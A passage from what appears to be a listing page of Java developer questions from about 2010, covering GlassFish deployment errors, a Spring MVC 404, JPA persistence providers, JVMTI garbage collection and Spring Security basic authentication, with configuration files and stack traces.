java.lang.reflect.InvocationTargetException at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl. java:39) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAcces sorImpl.java:25) at java.lang.reflect.Method.invoke(Method.java:585) at org.codehaus.mojo.exec.ExecJavaMojo$1.run(ExecJavaMojo.java:290) at java.lang.Thread.run(Thread.java:595) Caused by: java.lang.NoClassDefFoundError: java/util/ServiceLoader at org.glassfish.api.embedded.Server.getMain(Server.java:701) at org.glassfish.api.embedded.Server.<init>(Server.java:290) at org.glassfish.api.embedded.Server.<init>(Server.java:75) at org.glassfish.api.embedded.Server$Builder.build(Server.java:185) at org.glassfish.api.embedded.Server$Builder.build(Server.java:167) at orh.highmark.App.main(App.java:14) ... 6 more [INFO] ------------------------------------------------------------------------ [INFO] Total time: 1 second [INFO] Finished at: Sat May 08 02:55:03 IST 2010 [INFO] Final Memory: 3M/6M [INFO] ------------------------------------------------------------------------ I couldn't guess its problem with my program or with the glassfish api. Can somebody please help me understand what is happening here and how to rectify it? thanks for any clue ..

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• spring mvc 3.0 small web application not quite working

  - by lurscher

  Hi, i'm creating a very simple (hello World quality) web application using spring mvc 3.0. when deploying the application on tomcat 6.0.26 and i try to open http://localhost:8080/protoweb/helloWorld.html i get 404, resource /protoweb/WEB-INF/jsp/helloWorld.jsp is not available. The funny thing is that there IS a helloWorld.jsp in there. any idea what i'm doing wrong? here is my web.xml <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://java.sun.com/xml/ns/javaee" xmlns:web="http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd" id="WebApp_ID" version="2.5"> <display-name>hello-spring3-RC1</display-name> <context-param> <param-name>contextConfigLocation</param-name> <param-value>/WEB-INF/yummy-servlet.xml</param-value> </context-param> <listener> <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class> </listener> <servlet> <servlet-name>yummy</servlet-name> <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class> <load-on-startup>1</load-on-startup> </servlet> <servlet-mapping> <servlet-name>yummy</servlet-name> <url-pattern>*.html</url-pattern> </servlet-mapping> <welcome-file-list> <welcome-file>index.html</welcome-file> </welcome-file-list> </web-app> my yummy-servlet.xml <?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:p="http://www.springframework.org/schema/p" xmlns:context="http://www.springframework.org/schema/context" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-3.0.xsd"> <context:component-scan base-package="com.mine.web.controllers"/> <bean id="jspViewResolver" class="org.springframework.web.servlet.view.InternalResourceViewResolver"> <property name="viewClass" value="org.springframework.web.servlet.view.JstlView"/> <property name="prefix" value="/WEB-INF/jsp/"/> <property name="suffix" value=".jsp"/> </bean> </beans> my very simple controller: package com.mine.web.controllers; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.servlet.ModelAndView; @Controller public class BasicController { @RequestMapping(value = "/helloWorld") public ModelAndView helloWorld() { ModelAndView mav = new ModelAndView(); mav.setViewName("helloWorld"); mav.addObject("message", "Hello some basic message for u"); return mav; } } and my webapp/jsp/helloWorld.jsp <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"> <title>Hello</title> </head> <body> ${message} </body> </html> also, it might be helpful to post my pom.xml <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>com.mine</groupId> <artifactId>protoweb</artifactId> <packaging>war</packaging> <version>1.0-SNAPSHOT</version> <name>protoweb Maven Webapp</name> <url>http://maven.apache.org</url> <repositories> <repository> <id>springsource maven repo</id> <url>http://maven.springframework.org/milestone</url> </repository> </repositories> <dependencies> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-webmvc</artifactId> <version>3.0.0.RC1</version> </dependency> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>3.8.1</version> <scope>test</scope> </dependency> <dependency> <groupId>javax.servlet</groupId> <artifactId>jstl</artifactId> <version>1.1.2</version> <scope>compile</scope> </dependency> </dependencies> <build> <finalName>protoweb</finalName> <plugins> <plugin> <groupId>org.codehaus.mojo</groupId> <artifactId>tomcat-maven-plugin</artifactId> <configuration> <configurationDir>tomcat</configurationDir> <url>http://localhost:8080/manager</url> <username>test</username> <password>test</password> </configuration> </plugin> </plugins> </build> </project>

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• How to use 3rd party libraries in glassfish?

  - by Hank

  I need to connect to a MongoDB instance from my EJB3 application, running on glassfish 3.0.1. The Mongo project provides a set of drivers, and I'm able to use them in a standalone Java application. How would I use them in a JEE application? Or maybe better phrasing: how would I make a 3rd party library available to my application when it runs in an EJB container? At the moment, I'm getting a java.lang.NoClassDefFoundError when deploying a bean that tries to import from the library: [#|2010-03-24T11:42:15.164+0100|SEVERE|glassfishv3.0|global|_ThreadID=28;_ThreadName=Thread-1;|Class [ com/mongodb/DBObject ] not found. Error while loading [ class mvs.core.LocationCacheService ]|#] [#|2010-03-24T11:42:15.164+0100|WARNING|glassfishv3.0|javax.enterprise.system.tools.deployment.org.glassfish.deployment.common|_ThreadID=28;_ThreadName=Thread-1;|Error in annotation processing: java.lang.NoClassDefFoundError: com/mongodb/DBObject|#] [#|2010-03-24T11:42:15.259+0100|SEVERE|glassfishv3.0|javax.enterprise.system.core.com.sun.enterprise.v3.server|_ThreadID=28;_ThreadName=Thread-1;|Exception while loading the app org.glassfish.deployment.common.DeploymentException: java.lang.NoClassDefFoundError: com/mongodb/DBObject at org.glassfish.weld.WeldDeployer.event(WeldDeployer.java:171) at org.glassfish.kernel.event.EventsImpl.send(EventsImpl.java:125) at org.glassfish.internal.data.ApplicationInfo.load(ApplicationInfo.java:224) at com.sun.enterprise.v3.server.ApplicationLifecycle.deploy(ApplicationLifecycle.java:338) I tried adding it to the NetBeans project (Properties - Libraries - Compile - Add Jar, enable 'Package'), and I also tried manually copying the jar file to $GF_HOME/glassfish/domains/domain1/lib (where the mysql-connector already resides). Do I need to 'register' the library with the container? Reference it via Annotation? Extend the classpath of the container to include the library?

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• GlassFish can't find persistence provider for EntityManager

  - by Xorty

  Hi, I am building Spring MVC project (2.5). It runs on GlassFish v3 server and I am using Hibernate for ORM mapping from Derby database. I am having trouble with deployment - GlassFish says : No Persistence provider for EntityManager named mvcspringPU. Here is how I create EntityManagerFactory : emf = Persistence.createEntityManagerFactory("mvcspringPU"); And here is my configuration file persistence.xml <?xml version="1.0" encoding="UTF-8"?> <persistence version="1.0" xmlns="http://java.sun.com/xml/ns/persistence" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/persistence http://java.sun.com/xml/ns/persistence/persistence_1_0.xsd"> <persistence-unit name="mvcspringPU" transaction-type="JTA"> <provider>org.hibernate.ejb.HibernatePersistence</provider> <jta-data-source>CarsDB</jta-data-source> <properties> <property name="hibernate.hbm2ddl.auto" value="update"/> </properties> </persistence-unit> </persistence> I am building with NetBeans 6.8, so things like build paths should be alright (generated by IDE itself).

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• Exporting non-public type through public API

  - by feelgood

  What if I have few factory methods returning non-public type and pairing set of methods which gives variables of this non-public type? This results with titled warning message in NetBeans. In result public API will contain only two pairing sets of methods. The reason is to make my type hierarchy sealed (like seald classes in Scala) and allow users only instantiate these types through factory methods. So we get DSL in some sense. For example, Schedule class represented by calendar fields' contraints. There are some types of contraints - Range, Singleton, List, FullSet - with NumberSet interface as a root. We don't want to expose these types and how Schedule interact with them. We just want the specification from the user. So we make NumberSet package-private. In class Schedule we create few factory-methods for constraints: NumberSet singleton(int value); NumberSet range(int form, int to); NumberSet list(NumberSet ... components); and some methods for creating Schedule object: Schedule everyHour(NumberSet minutes); Schedule everyDay(NumberSet minutes, NumberSet hours); User can only use them in the manner: Schedule s = Schedule.everyDay( singleton(0), list(range(10-15), singleton(8)) ); Is it bad idea?

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• Java: How do you really force a GC using JVMTI's ForceGargabeCollection?

  - by WizardOfOdds

  I'm not looking for the usual "you can only hint the GC in Java using System.gc()" answers, this is not at all what this question is about. My questions is not subjective and is based on a reality: GC can be forced in Java for a fact. A lot of programs that we use daily do it: IntelliJ IDEA, NetBeans, VisualVM. They all can force GC to happen. How is it done? I take it they're all using JVMTI and more specifically the ForceGarbabeCollection (notice the "Force") but how can I try it for myself? http://java.sun.com/javase/6/docs/platform/jvmti/jvmti.html#ForceGarbageCollection Also note that this question is not about "why" I'd want to do this: the "why" may be "curiosity" or "we're writing a program similar to VisualVM", etc. The question is really "how do you force a GC using JVMTI's ForceGarbageCollection"? Does the JVM needs to be launched with any special parameters? Is any JNI required? If so, what code exactly? Does it only work on Sun VMs? Any complete and compilable example would be most welcome.

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• Problem between Glassfish and Spring Security Basic Authentication

  - by Raspayu

  Hi! I am enabling a simple HTTP Basic Authentication with Spring security in my project. My environment is an Glassfish Server (bundled with Netbeans), and almost everything works perfect: I have set up it to just ask for authentication with the POST method, with hardcoded users with "user-service", and it works with user names with no special characters. The problem comes when I set up an user with "@" or "." Here is the spring-security related part of my servlet.xml: <security:http> <security:intercept-url method="POST" pattern="/**" access="ROLE_USER" /> <security:http-basic/> </security:http> <security:authentication-manager alias="authenticationManager"> <security:authentication-provider user-service-ref="uservice"/> </security:authentication-manager> <security:user-service id="uservice"> <security:user name="[email protected]" password="pswd1" authorities="ROLE_USER" /> <security:user name="[email protected]" password="pswd2" authorities="ROLE_USER" /> <security:user name="pepe" password="pepito" authorities="ROLE_USER" /> </security:user-service> I have looked also for what did the browser send to the listening port, and it sends right the par "username:password" in base 64, so i think the problem is in my server(Glassfish v3). Does anyone have any idea? Thanks in advance! Raspayu

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